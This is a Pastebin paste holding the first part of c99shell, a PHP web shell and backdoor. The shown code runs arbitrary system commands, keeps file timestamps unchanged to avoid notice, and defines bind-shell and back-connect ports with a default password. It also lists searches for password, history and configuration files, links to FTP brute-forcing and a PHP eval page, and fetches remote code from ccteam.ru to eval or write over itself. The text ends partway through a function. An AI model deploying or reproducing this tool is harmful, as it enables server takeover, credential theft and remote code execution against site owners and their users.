SHARE
TWEET

Cyberheb

a guest Oct 2nd, 2007 4,752 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <?php
  2. //Starting calls
  3. if (!function_exists("getmicrotime")) {function getmicrotime() {list($usec, $sec) = explode(" ", microtime()); return ((float)$usec + (float)$sec);}}
  4. $win = strtolower(substr(PHP_OS,0,3)) == "win";
  5. define("starttime",getmicrotime());
  6. if (get_magic_quotes_gpc()) {if (!function_exists("strips")) {function strips(&$arr,$k="") {if (is_array($arr)) {foreach($arr as $k=>$v) {if (strtoupper($k) != "GLOBALS") {strips($arr["$k"]);}}} else {$arr = stripslashes($arr);}}} strips($GLOBALS);}
  7. $_REQUEST = array_merge($_COOKIE,$_GET,$_POST);
  8. foreach($_REQUEST as $k=>$v) {if (!isset($$k)) {$$k = $v;}}
  9.  
  10. $shver = "1.0 pre-release build #16"; //Current version
  11. //CONFIGURATION AND SETTINGS
  12. if (!empty($unset_surl)) {setcookie("c99sh_surl"); $surl = "";}
  13. elseif (!empty($set_surl)) {$surl = $set_surl; setcookie("c99sh_surl",$surl);}
  14. else {$surl = $_REQUEST["c99sh_surl"]; //Set this cookie for manual SURL
  15. }
  16.  
  17. $surl_autofill_include = TRUE; //If TRUE then search variables with descriptors (URLs) and save it in SURL.
  18.  
  19. if ($surl_autofill_include and !$_REQUEST["c99sh_surl"]) {$include = "&"; foreach (explode("&",getenv("QUERY_STRING")) as $v) {$v = explode("=",$v); $name = urldecode($v[0]); $value = urldecode($v[1]); foreach (array("http://","https://","ssl://","ftp://","\\\\") as $needle) {if (strpos($value,$needle) === 0) {$includestr .= urlencode($name)."=".urlencode($value)."&";}}} if ($_REQUEST["surl_autofill_include"]) {$includestr .= "surl_autofill_include=1&";}}
  20. if (empty($surl))
  21. {
  22.  $surl = "?".$includestr; //Self url
  23. }
  24. $surl = htmlspecialchars($surl);
  25.  
  26. $timelimit = 0; //time limit of execution this script over server quote (seconds), 0 = unlimited.
  27.  
  28. //Authentication
  29. $login = ""; //login
  30. //DON'T FORGOT ABOUT PASSWORD!!!
  31. $pass = ""; //password
  32. $md5_pass = ""; //md5-cryped pass. if null, md5($pass)
  33.  
  34. $host_allow = array("*"); //array ("{mask}1","{mask}2",...), {mask} = IP or HOST e.g. array("192.168.0.*","127.0.0.1")
  35. $login_txt = "Restricted area"; //http-auth message.
  36. $accessdeniedmess = "<a href=\"http://ccteam.ru/releases/c99shell\">c99shell v.".$shver."</a>: access denied";
  37.  
  38. $gzipencode = TRUE; //Encode with gzip?
  39.  
  40. $updatenow = FALSE; //If TRUE, update now (this variable will be FALSE)
  41.  
  42. $c99sh_updateurl = "http://ccteam.ru/update/c99shell/"; //Update server
  43. $c99sh_sourcesurl = "http://ccteam.ru/files/c99sh_sources/"; //Sources-server
  44.  
  45. $filestealth = TRUE; //if TRUE, don't change modify- and access-time
  46.  
  47. $donated_html = "<center><b>Owned by hacker</b></center>";
  48. /* If you publish free shell and you wish
  49. add link to your site or any other information,
  50. put here your html. */
  51. $donated_act = array(""); //array ("act1","act2,"...), if $act is in this array, display $donated_html.
  52.  
  53. $curdir = "./"; //start folder
  54. //$curdir = getenv("DOCUMENT_ROOT");
  55. $tmpdir = ""; //Folder for tempory files. If empty, auto-fill (/tmp or %WINDIR/temp)
  56. $tmpdir_log = "./"; //Directory logs of long processes (e.g. brute, scan...)
  57.  
  58. $log_email = "user@host.tld"; //Default e-mail for sending logs
  59.  
  60. $sort_default = "0a"; //Default sorting, 0 - number of colomn, "a"scending or "d"escending
  61. $sort_save = TRUE; //If TRUE then save sorting-position using cookies.
  62.  
  63. // Registered file-types.
  64. //  array(
  65. //   "{action1}"=>array("ext1","ext2","ext3",...),
  66. //   "{action2}"=>array("ext4","ext5","ext6",...),
  67. //   ...
  68. //  )
  69. $ftypes  = array(
  70.  "html"=>array("html","htm","shtml"),
  71.  "txt"=>array("txt","conf","bat","sh","js","bak","doc","log","sfc","cfg","htaccess"),
  72.  "exe"=>array("sh","install","bat","cmd"),
  73.  "ini"=>array("ini","inf"),
  74.  "code"=>array("php","phtml","php3","php4","inc","tcl","h","c","cpp","py","cgi","pl"),
  75.  "img"=>array("gif","png","jpeg","jfif","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"),
  76.  "sdb"=>array("sdb"),
  77.  "phpsess"=>array("sess"),
  78.  "download"=>array("exe","com","pif","src","lnk","zip","rar","gz","tar")
  79. );
  80.  
  81. // Registered executable file-types.
  82. //  array(
  83. //   string "command{i}"=>array("ext1","ext2","ext3",...),
  84. //   ...
  85. //  )
  86. //   {command}: %f% = filename
  87. $exeftypes  = array(
  88.  getenv("PHPRC")." -q %f%" => array("php","php3","php4"),
  89.  "perl %f%" => array("pl","cgi")
  90. );
  91.  
  92. /* Highlighted files.
  93.   array(
  94.    i=>array({regexp},{type},{opentag},{closetag},{break})
  95.    ...
  96.   )
  97.   string {regexp} - regular exp.
  98.   int {type}:
  99. 0 - files and folders (as default),
  100. 1 - files only, 2 - folders only
  101.   string {opentag} - open html-tag, e.g. "<b>" (default)
  102.   string {closetag} - close html-tag, e.g. "</b>" (default)
  103.   bool {break} - if TRUE and found match then break
  104. */
  105. $regxp_highlight  = array(
  106.   array(basename($_SERVER["PHP_SELF"]),1,"<font color=\"yellow\">","</font>"), // example
  107.   array("config.php",1) // example
  108. );
  109.  
  110. $safemode_diskettes = array("a"); // This variable for disabling diskett-errors.
  111.  // array (i=>{letter} ...); string {letter} - letter of a drive
  112. //$safemode_diskettes = range("a","z");
  113. $hexdump_lines = 8;// lines in hex preview file
  114. $hexdump_rows = 24;// 16, 24 or 32 bytes in one line
  115.  
  116. $nixpwdperpage = 100; // Get first N lines from /etc/passwd
  117.  
  118. $bindport_pass = "c99";  // default password for binding
  119. $bindport_port = "31373"; // default port for binding
  120. $bc_port = "31373"; // default port for back-connect
  121. $datapipe_localport = "8081"; // default port for datapipe
  122.  
  123. // Command-aliases
  124. if (!$win)
  125. {
  126.  $cmdaliases = array(
  127.   array("-----------------------------------------------------------", "ls -la"),
  128.   array("find all suid files", "find / -type f -perm -04000 -ls"),
  129.   array("find suid files in current dir", "find . -type f -perm -04000 -ls"),
  130.   array("find all sgid files", "find / -type f -perm -02000 -ls"),
  131.   array("find sgid files in current dir", "find . -type f -perm -02000 -ls"),
  132.   array("find config.inc.php files", "find / -type f -name config.inc.php"),
  133.   array("find config* files", "find / -type f -name \"config*\""),
  134.   array("find config* files in current dir", "find . -type f -name \"config*\""),
  135.   array("find all writable folders and files", "find / -perm -2 -ls"),
  136.   array("find all writable folders and files in current dir", "find . -perm -2 -ls"),
  137.   array("find all service.pwd files", "find / -type f -name service.pwd"),
  138.   array("find service.pwd files in current dir", "find . -type f -name service.pwd"),
  139.   array("find all .htpasswd files", "find / -type f -name .htpasswd"),
  140.   array("find .htpasswd files in current dir", "find . -type f -name .htpasswd"),
  141.   array("find all .bash_history files", "find / -type f -name .bash_history"),
  142.   array("find .bash_history files in current dir", "find . -type f -name .bash_history"),
  143.   array("find all .fetchmailrc files", "find / -type f -name .fetchmailrc"),
  144.   array("find .fetchmailrc files in current dir", "find . -type f -name .fetchmailrc"),
  145.   array("list file attributes on a Linux second extended file system", "lsattr -va"),
  146.   array("show opened ports", "netstat -an | grep -i listen")
  147.  );
  148. }
  149. else
  150. {
  151.  $cmdaliases = array(
  152.   array("-----------------------------------------------------------", "dir"),
  153.   array("show opened ports", "netstat -an")
  154.  );
  155. }
  156.  
  157. $sess_cookie = "c99shvars"; // Cookie-variable name
  158.  
  159. $usefsbuff = TRUE; //Buffer-function
  160. $copy_unset = FALSE; //Remove copied files from buffer after pasting
  161.  
  162. //Quick launch
  163. $quicklaunch = array(
  164.  array("<img src=\"".$surl."act=img&img=home\" alt=\"Home\" height=\"20\" width=\"20\" border=\"0\">",$surl),
  165.  array("<img src=\"".$surl."act=img&img=back\" alt=\"Back\" height=\"20\" width=\"20\" border=\"0\">","#\" onclick=\"history.back(1)"),
  166.  array("<img src=\"".$surl."act=img&img=forward\" alt=\"Forward\" height=\"20\" width=\"20\" border=\"0\">","#\" onclick=\"history.go(1)"),
  167.  array("<img src=\"".$surl."act=img&img=up\" alt=\"UPDIR\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=ls&d=%upd&sort=%sort"),
  168.  array("<img src=\"".$surl."act=img&img=refresh\" alt=\"Refresh\" height=\"20\" width=\"17\" border=\"0\">",""),
  169.  array("<img src=\"".$surl."act=img&img=search\" alt=\"Search\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=search&d=%d"),
  170.  array("<img src=\"".$surl."act=img&img=buffer\" alt=\"Buffer\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=fsbuff&d=%d"),
  171.  array("<b>Encoder</b>",$surl."act=encoder&d=%d"),
  172.  array("<b>Tools</b>",$surl."act=tools&d=%d"),
  173.  array("<b>Proc.</b>",$surl."act=processes&d=%d"),
  174.  array("<b>FTP brute</b>",$surl."act=ftpquickbrute&d=%d"),
  175.  array("<b>Sec.</b>",$surl."act=security&d=%d"),
  176.  array("<b>SQL</b>",$surl."act=sql&d=%d"),
  177.  array("<b>PHP-code</b>",$surl."act=eval&d=%d"),
  178.  array("<b>Update</b>",$surl."act=update&d=%d"),
  179.  array("<b>Feedback</b>",$surl."act=feedback&d=%d"),
  180.  array("<b>Self remove</b>",$surl."act=selfremove"),
  181.  array("<b>Logout</b>","#\" onclick=\"if (confirm('Are you sure?')) window.close()")
  182. );
  183.  
  184. //Highlight-code colors
  185. $highlight_background = "#c0c0c0";
  186. $highlight_bg = "#FFFFFF";
  187. $highlight_comment = "#6A6A6A";
  188. $highlight_default = "#0000BB";
  189. $highlight_html = "#1300FF";
  190. $highlight_keyword = "#007700";
  191. $highlight_string = "#000000";
  192.  
  193. @$f = $_REQUEST["f"];
  194. @extract($_REQUEST["c99shcook"]);
  195.  
  196. //END CONFIGURATION
  197.  
  198.  
  199. // \/Next code isn't for editing\/
  200. $tmp = array();
  201. foreach($host_allow as $k=>$v) {$tmp[] = str_replace("\\*",".*",preg_quote($v));}
  202. $s = "!^(".implode("|",$tmp).")$!i";
  203. if (!preg_match($s,getenv("REMOTE_ADDR")) and !preg_match($s,gethostbyaddr(getenv("REMOTE_ADDR")))) {exit("<a href=\"http://ccteam.ru/releases/cc99shell\">c99shell</a>: Access Denied - your host (".getenv("REMOTE_ADDR").") not allow");}
  204. if (!empty($login))
  205. {
  206.  if (empty($md5_pass)) {$md5_pass = md5($pass);}
  207.  if (($_SERVER["PHP_AUTH_USER"] != $login) or (md5($_SERVER["PHP_AUTH_PW"]) != $md5_pass))
  208.  {
  209.   if (empty($login_txt)) {$login_txt = strip_tags(ereg_replace("&nbsp;|<br>"," ",$donated_html));}
  210.   header("WWW-Authenticate: Basic realm=\"c99shell ".$shver.": ".$login_txt."\"");
  211.   header("HTTP/1.0 401 Unauthorized");
  212.   exit($accessdeniedmess);
  213.  }
  214. }
  215. if ($act != "img")
  216. {
  217. $lastdir = realpath(".");
  218. chdir($curdir);
  219. if ($selfwrite or $updatenow) {@ob_clean(); c99sh_getupdate($selfwrite,1); exit;}
  220. $sess_data = unserialize($_COOKIE["$sess_cookie"]);
  221. if (!is_array($sess_data)) {$sess_data = array();}
  222. if (!is_array($sess_data["copy"])) {$sess_data["copy"] = array();}
  223. if (!is_array($sess_data["cut"])) {$sess_data["cut"] = array();}
  224.  
  225. $disablefunc = @ini_get("disable_functions");
  226. if (!empty($disablefunc))
  227. {
  228.  $disablefunc = str_replace(" ","",$disablefunc);
  229.  $disablefunc = explode(",",$disablefunc);
  230. }
  231.  
  232. if (!function_exists("c99_buff_prepare"))
  233. {
  234. function c99_buff_prepare()
  235. {
  236.  global $sess_data;
  237.  global $act;
  238.  foreach($sess_data["copy"] as $k=>$v) {$sess_data["copy"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));}
  239.  foreach($sess_data["cut"] as $k=>$v) {$sess_data["cut"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));}
  240.  $sess_data["copy"] = array_unique($sess_data["copy"]);
  241.  $sess_data["cut"] = array_unique($sess_data["cut"]);
  242.  sort($sess_data["copy"]);
  243.  sort($sess_data["cut"]);
  244.  if ($act != "copy") {foreach($sess_data["cut"] as $k=>$v) {if ($sess_data["copy"][$k] == $v) {unset($sess_data["copy"][$k]); }}}
  245.  else {foreach($sess_data["copy"] as $k=>$v) {if ($sess_data["cut"][$k] == $v) {unset($sess_data["cut"][$k]);}}}
  246. }
  247. }
  248. c99_buff_prepare();
  249. if (!function_exists("c99_sess_put"))
  250. {
  251. function c99_sess_put($data)
  252. {
  253.  global $sess_cookie;
  254.  global $sess_data;
  255.  c99_buff_prepare();
  256.  $sess_data = $data;
  257.  $data = serialize($data);
  258.  setcookie($sess_cookie,$data);
  259. }
  260. }
  261. foreach (array("sort","sql_sort") as $v)
  262. {
  263.  if (!empty($_GET[$v])) {$$v = $_GET[$v];}
  264.  if (!empty($_POST[$v])) {$$v = $_POST[$v];}
  265. }
  266. if ($sort_save)
  267. {
  268.  if (!empty($sort)) {setcookie("sort",$sort);}
  269.  if (!empty($sql_sort)) {setcookie("sql_sort",$sql_sort);}
  270. }
  271. if (!function_exists("str2mini"))
  272. {
  273. function str2mini($content,$len)
  274. {
  275.  if (strlen($content) > $len)
  276.  {
  277.   $len = ceil($len/2) - 2;
  278.   return substr($content, 0,$len)."...".substr($content,-$len);
  279.  }
  280.  else {return $content;}
  281. }
  282. }
  283. if (!function_exists("view_size"))
  284. {
  285. function view_size($size)
  286. {
  287.  if (!is_numeric($size)) {return FALSE;}
  288.  else
  289.  {
  290.   if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";}
  291.   elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";}
  292.   elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";}
  293.   else {$size = $size . " B";}
  294.   return $size;
  295.  }
  296. }
  297. }
  298. if (!function_exists("fs_copy_dir"))
  299. {
  300. function fs_copy_dir($d,$t)
  301. {
  302.  $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
  303.  if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
  304.  $h = opendir($d);
  305.  while (($o = readdir($h)) !== FALSE)
  306.  {
  307.   if (($o != ".") and ($o != ".."))
  308.   {
  309.    if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
  310.    else {$ret = mkdir($t.DIRECTORY_SEPARATOR.$o); fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
  311.    if (!$ret) {return $ret;}
  312.   }
  313.  }
  314.  closedir($h);
  315.  return TRUE;
  316. }
  317. }
  318. if (!function_exists("fs_copy_obj"))
  319. {
  320. function fs_copy_obj($d,$t)
  321. {
  322.  $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
  323.  $t = str_replace("\\",DIRECTORY_SEPARATOR,$t);
  324.  if (!is_dir(dirname($t))) {mkdir(dirname($t));}
  325.  if (is_dir($d))
  326.  {
  327.   if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
  328.   if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
  329.   return fs_copy_dir($d,$t);
  330.  }
  331.  elseif (is_file($d)) {return copy($d,$t);}
  332.  else {return FALSE;}
  333. }
  334. }
  335. if (!function_exists("fs_move_dir"))
  336. {
  337. function fs_move_dir($d,$t)
  338. {
  339.  $h = opendir($d);
  340.  if (!is_dir($t)) {mkdir($t);}
  341.  while (($o = readdir($h)) !== FALSE)
  342.  {
  343.   if (($o != ".") and ($o != ".."))
  344.   {
  345.    $ret = TRUE;
  346.    if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
  347.    else {if (mkdir($t.DIRECTORY_SEPARATOR.$o) and fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o)) {$ret = FALSE;}}
  348.    if (!$ret) {return $ret;}
  349.   }
  350.  }
  351.  closedir($h);
  352.  return TRUE;
  353. }
  354. }
  355. if (!function_exists("fs_move_obj"))
  356. {
  357. function fs_move_obj($d,$t)
  358. {
  359.  $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
  360.  $t = str_replace("\\",DIRECTORY_SEPARATOR,$t);
  361.  if (is_dir($d))
  362.  {
  363.   if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
  364.   if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
  365.   return fs_move_dir($d,$t);
  366.  }
  367.  elseif (is_file($d))
  368.  {
  369.   if(copy($d,$t)) {return unlink($d);}
  370.   else {unlink($t); return FALSE;}
  371.  }
  372.  else {return FALSE;}
  373. }
  374. }
  375. if (!function_exists("fs_rmdir"))
  376. {
  377. function fs_rmdir($d)
  378. {
  379.  $h = opendir($d);
  380.  while (($o = readdir($h)) !== FALSE)
  381.  {
  382.   if (($o != ".") and ($o != ".."))
  383.   {
  384.    if (!is_dir($d.$o)) {unlink($d.$o);}
  385.    else {fs_rmdir($d.$o.DIRECTORY_SEPARATOR); rmdir($d.$o);}
  386.   }
  387.  }
  388.  closedir($h);
  389.  rmdir($d);
  390.  return !is_dir($d);
  391. }
  392. }
  393. if (!function_exists("fs_rmobj"))
  394. {
  395. function fs_rmobj($o)
  396. {
  397.  $o = str_replace("\\",DIRECTORY_SEPARATOR,$o);
  398.  if (is_dir($o))
  399.  {
  400.   if (substr($o,-1) != DIRECTORY_SEPARATOR) {$o .= DIRECTORY_SEPARATOR;}
  401.   return fs_rmdir($o);
  402.  }
  403.  elseif (is_file($o)) {return unlink($o);}
  404.  else {return FALSE;}
  405. }
  406. }
  407. if (!function_exists("myshellexec"))
  408. {
  409. function myshellexec($cmd)
  410. {
  411.  global $disablefunc;
  412.  $result = "";
  413.  if (!empty($cmd))
  414.  {
  415.   if (is_callable("exec") and !in_array("exec",$disablefunc)) {exec($cmd,$result); $result = join("\n",$result);}
  416.   elseif (($result = `$cmd`) !== FALSE) {}
  417.   elseif (is_callable("system") and !in_array("system",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); system($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
  418.   elseif (is_callable("passthru") and !in_array("passthru",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); passthru($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
  419.   elseif (is_resource($fp = popen($cmd,"r")))
  420.   {
  421.    $result = "";
  422.    while(!feof($fp)) {$result .= fread($fp,1024);}
  423.    pclose($fp);
  424.   }
  425.  }
  426.  return $result;
  427. }
  428. }
  429. if (!function_exists("tabsort")) {function tabsort($a,$b) {global $v; return strnatcmp($a[$v], $b[$v]);}}
  430. if (!function_exists("view_perms"))
  431. {
  432. function view_perms($mode)
  433. {
  434.  if (($mode & 0xC000) === 0xC000) {$type = "s";}
  435.  elseif (($mode & 0x4000) === 0x4000) {$type = "d";}
  436.  elseif (($mode & 0xA000) === 0xA000) {$type = "l";}
  437.  elseif (($mode & 0x8000) === 0x8000) {$type = "-";}
  438.  elseif (($mode & 0x6000) === 0x6000) {$type = "b";}
  439.  elseif (($mode & 0x2000) === 0x2000) {$type = "c";}
  440.  elseif (($mode & 0x1000) === 0x1000) {$type = "p";}
  441.  else {$type = "?";}
  442.  
  443.  $owner["read"] = ($mode & 00400)?"r":"-";
  444.  $owner["write"] = ($mode & 00200)?"w":"-";
  445.  $owner["execute"] = ($mode & 00100)?"x":"-";
  446.  $group["read"] = ($mode & 00040)?"r":"-";
  447.  $group["write"] = ($mode & 00020)?"w":"-";
  448.  $group["execute"] = ($mode & 00010)?"x":"-";
  449.  $world["read"] = ($mode & 00004)?"r":"-";
  450.  $world["write"] = ($mode & 00002)? "w":"-";
  451.  $world["execute"] = ($mode & 00001)?"x":"-";
  452.  
  453.  if ($mode & 0x800) {$owner["execute"] = ($owner["execute"] == "x")?"s":"S";}
  454.  if ($mode & 0x400) {$group["execute"] = ($group["execute"] == "x")?"s":"S";}
  455.  if ($mode & 0x200) {$world["execute"] = ($world["execute"] == "x")?"t":"T";}
  456.  
  457.  return $type.join("",$owner).join("",$group).join("",$world);
  458. }
  459. }
  460. if (!function_exists("posix_getpwuid") and !in_array("posix_getpwuid",$disablefunc)) {function posix_getpwuid($uid) {return FALSE;}}
  461. if (!function_exists("posix_getgrgid") and !in_array("posix_getgrgid",$disablefunc)) {function posix_getgrgid($gid) {return FALSE;}}
  462. if (!function_exists("posix_kill") and !in_array("posix_kill",$disablefunc)) {function posix_kill($gid) {return FALSE;}}
  463. if (!function_exists("parse_perms"))
  464. {
  465. function parse_perms($mode)
  466. {
  467.  if (($mode & 0xC000) === 0xC000) {$t = "s";}
  468.  elseif (($mode & 0x4000) === 0x4000) {$t = "d";}
  469.  elseif (($mode & 0xA000) === 0xA000) {$t = "l";}
  470.  elseif (($mode & 0x8000) === 0x8000) {$t = "-";}
  471.  elseif (($mode & 0x6000) === 0x6000) {$t = "b";}
  472.  elseif (($mode & 0x2000) === 0x2000) {$t = "c";}
  473.  elseif (($mode & 0x1000) === 0x1000) {$t = "p";}
  474.  else {$t = "?";}
  475.  $o["r"] = ($mode & 00400) > 0; $o["w"] = ($mode & 00200) > 0; $o["x"] = ($mode & 00100) > 0;
  476.  $g["r"] = ($mode & 00040) > 0; $g["w"] = ($mode & 00020) > 0; $g["x"] = ($mode & 00010) > 0;
  477.  $w["r"] = ($mode & 00004) > 0; $w["w"] = ($mode & 00002) > 0; $w["x"] = ($mode & 00001) > 0;
  478.  return array("t"=>$t,"o"=>$o,"g"=>$g,"w"=>$w);
  479. }
  480. }
  481. if (!function_exists("parsesort"))
  482. {
  483. function parsesort($sort)
  484. {
  485.  $one = intval($sort);
  486.  $second = substr($sort,-1);
  487.  if ($second != "d") {$second = "a";}
  488.  return array($one,$second);
  489. }
  490. }
  491. if (!function_exists("view_perms_color"))
  492. {
  493. function view_perms_color($o)
  494. {
  495.  if (!is_readable($o)) {return "<font color=red>".view_perms(fileperms($o))."</font>";}
  496.  elseif (!is_writable($o)) {return "<font color=white>".view_perms(fileperms($o))."</font>";}
  497.  else {return "<font color=green>".view_perms(fileperms($o))."</font>";}
  498. }
  499. }
  500. if (!function_exists("c99getsource"))
  501. {
  502. function c99getsource($fn)
  503. {
  504.  global $c99sh_sourcesurl;
  505.  $array = array(
  506.   "c99sh_bindport.pl" => "c99sh_bindport_pl.txt",
  507.   "c99sh_bindport.c" => "c99sh_bindport_c.txt",
  508.   "c99sh_backconn.pl" => "c99sh_backconn_pl.txt",
  509.   "c99sh_backconn.c" => "c99sh_backconn_c.txt",
  510.   "c99sh_datapipe.pl" => "c99sh_datapipe_pl.txt",
  511.   "c99sh_datapipe.c" => "c99sh_datapipe_c.txt",
  512.  );
  513.  $name = $array[$fn];
  514.  if ($name) {return file_get_contents($c99sh_sourcesurl.$name);}
  515.  else {return FALSE;}
  516. }
  517. }
  518. if (!function_exists("c99sh_getupdate"))
  519. {
  520. function c99sh_getupdate($update = TRUE)
  521. {
  522.  $url = $GLOBALS["c99sh_updateurl"]."?version=".urlencode(base64_encode($GLOBALS["shver"]))."&updatenow=".($updatenow?"1":"0")."&";
  523.  $data = @file_get_contents($url);
  524.  if (!$data) {return "Can't connect to update-server!";}
  525.  else
  526.  {
  527.   $data = ltrim($data);
  528.   $string = substr($data,3,ord($data{2}));
  529.   if ($data{0} == "\x99" and $data{1} == "\x01") {return "Error: ".$string; return FALSE;}
  530.   if ($data{0} == "\x99" and $data{1} == "\x02") {return "You are using latest version!";}
  531.   if ($data{0} == "\x99" and $data{1} == "\x03")
  532.   {
  533.    $string = explode("\x01",$string);
  534.    if ($update)
  535.    {
  536.     $confvars = array();
  537.     $sourceurl = $string[0];
  538.     $source = file_get_contents($sourceurl);
  539.     if (!$source) {return "Can't fetch update!";}
  540.     else
  541.     {
  542.      $fp = fopen(__FILE__,"w");
  543.      if (!$fp) {return "Local error: can't write update to ".__FILE__."! You may download c99shell.php manually <a href=\"".$sourceurl."\"><u>here</u></a>.";}
  544.      else {fwrite($fp,$source); fclose($fp); return "Thanks! Updated with success.";}
  545.     }
  546.    }
  547.    else {return "New version are available: ".$string[1];}
  548.   }
  549.   elseif ($data{0} == "\x99" and $data{1} == "\x04") {eval($string); return 1;}
  550.   else {return "Error in protocol: segmentation failed! (".$data.") ";}
  551.  }
  552. }
  553. }
  554. if (!function_exists("mysql_dump"))
  555. {
  556. function mysql_dump($set)
  557. {
  558.  global $shver;
  559.  $sock = $set["sock"];
  560.  $db = $set["db"];
  561.  $print = $set["print"];
  562.  $nl2br = $set["nl2br"];
  563.  $file = $set["file"];
  564.  $add_drop = $set["add_drop"];
  565.  $tabs = $set["tabs"];
  566.  $onlytabs = $set["onlytabs"];
  567.  $ret = array();
  568.  $ret["err"] = array();
  569.  if (!is_resource($sock)) {echo("Error: \$sock is not valid resource.");}
  570.  if (empty($db)) {$db = "db";}
  571.  if (empty($print)) {$print = 0;}
  572.  if (empty($nl2br)) {$nl2br = 0;}
  573.  if (empty($add_drop)) {$add_drop = TRUE;}
  574.  if (empty($file))
  575.  {
  576.   $file = $tmpdir."dump_".getenv("SERVER_NAME")."_".$db."_".date("d-m-Y-H-i-s").".sql";
  577.  }
  578.  if (!is_array($tabs)) {$tabs = array();}
  579.  if (empty($add_drop)) {$add_drop = TRUE;}
  580.  if (sizeof($tabs) == 0)
  581.  {
  582.   // retrive tables-list
  583.   $res = mysql_query("SHOW TABLES FROM ".$db, $sock);
  584.   if (mysql_num_rows($res) > 0) {while ($row = mysql_fetch_row($res)) {$tabs[] = $row[0];}}
  585.  }
  586.  $out = "# Dumped by C99Shell.SQL v. ".$shver."
  587. # Home page: http://ccteam.ru
  588. #
  589. # Host settings:
  590. # MySQL version: (".mysql_get_server_info().") running on ".getenv("SERVER_ADDR")." (".getenv("SERVER_NAME").")"."
  591. # Date: ".date("d.m.Y H:i:s")."
  592. # DB: \"".$db."\"
  593. #---------------------------------------------------------
  594. ";
  595.  $c = count($onlytabs);
  596.  foreach($tabs as $tab)
  597.  {
  598.   if ((in_array($tab,$onlytabs)) or (!$c))
  599.   {
  600.    if ($add_drop) {$out .= "DROP TABLE IF EXISTS `".$tab."`;\n";}
  601.    // recieve query for create table structure
  602.    $res = mysql_query("SHOW CREATE TABLE `".$tab."`", $sock);
  603.    if (!$res) {$ret["err"][] = mysql_smarterror();}
  604.    else
  605.    {
  606.     $row = mysql_fetch_row($res);
  607.     $out .= $row["1"].";\n\n";
  608.     // recieve table variables
  609.     $res = mysql_query("SELECT * FROM `$tab`", $sock);
  610.     if (mysql_num_rows($res) > 0)
  611.     {
  612.      while ($row = mysql_fetch_assoc($res))
  613.      {
  614.       $keys = implode("`, `", array_keys($row));
  615.       $values = array_values($row);
  616.       foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
  617.       $values = implode("', '", $values);
  618.       $sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');\n";
  619.       $out .= $sql;
  620.      }
  621.     }
  622.    }
  623.   }
  624.  }
  625.  $out .= "#---------------------------------------------------------------------------------\n\n";
  626.  if ($file)
  627.  {
  628.   $fp = fopen($file, "w");
  629.   if (!$fp) {$ret["err"][] = 2;}
  630.   else
  631.   {
  632.    fwrite ($fp, $out);
  633.    fclose ($fp);
  634.   }
  635.  }
  636.  if ($print) {if ($nl2br) {echo nl2br($out);} else {echo $out;}}
  637.  return $out;
  638. }
  639. }
  640. if (!function_exists("mysql_buildwhere"))
  641. {
  642. function mysql_buildwhere($array,$sep=" and",$functs=array())
  643. {
  644.  if (!is_array($array)) {$array = array();}
  645.  $result = "";
  646.  foreach($array as $k=>$v)
  647.  {
  648.   $value = "";
  649.   if (!empty($functs[$k])) {$value .= $functs[$k]."(";}
  650.   $value .= "'".addslashes($v)."'";
  651.   if (!empty($functs[$k])) {$value .= ")";}
  652.   $result .= "`".$k."` = ".$value.$sep;
  653.  }
  654.  $result = substr($result,0,strlen($result)-strlen($sep));
  655.  return $result;
  656. }
  657. }
  658. if (!function_exists("mysql_fetch_all"))
  659. {
  660. function mysql_fetch_all($query,$sock)
  661. {
  662.  if ($sock) {$result = mysql_query($query,$sock);}
  663.  else {$result = mysql_query($query);}
  664.  $array = array();
  665.  while ($row = mysql_fetch_array($result)) {$array[] = $row;}
  666.  mysql_free_result($result);
  667.  return $array;
  668. }
  669. }
  670. if (!function_exists("mysql_smarterror"))
  671. {
  672. function mysql_smarterror($type,$sock)
  673. {
  674.  if ($sock) {$error = mysql_error($sock);}
  675.  else {$error = mysql_error();}
  676.  $error = htmlspecialchars($error);
  677.  return $error;
  678. }
  679. }
  680. if (!function_exists("mysql_query_form"))
  681. {
  682. function mysql_query_form()
  683. {
  684.  global $submit,$sql_act,$sql_query,$sql_query_result,$sql_confirm,$sql_query_error,$tbl_struct;
  685.  if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";}
  686.  if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;}
  687.  if ((!$submit) or ($sql_act))
  688.  {
